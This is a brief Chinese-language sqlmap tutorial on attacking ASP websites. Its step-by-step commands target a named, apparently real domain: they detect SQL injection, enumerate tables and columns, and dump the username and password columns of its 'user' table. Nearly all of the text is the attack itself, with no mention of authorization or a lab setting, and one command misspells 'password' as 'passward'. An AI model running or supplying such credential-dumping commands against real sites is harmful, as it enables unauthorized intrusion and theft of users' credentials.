**SQLMAP介绍及ASP网站渗透**

科普：asp网站，大多是用的access（文件数据库） MSSQL

1. Sqlmap -u “http://www.czypjx.com/”

-u “检测是否存在注入漏洞”，如果存在，返回数据库的名称

1. Sqlmap -u “http://www.czypjx.com/” --tables

猜解所有的表名

User —— 根据经验，这是用户表

1. Sqlmap -u “http://www.czypjx.com/” --columns -T “user”

--columns 猜列名

Username ，密码的就是password

1. Sqlmap -u “http://www.czypjx.com/” --dump -C “username,passward” -T “user”

--dump 下载数据

-C “username，password”列名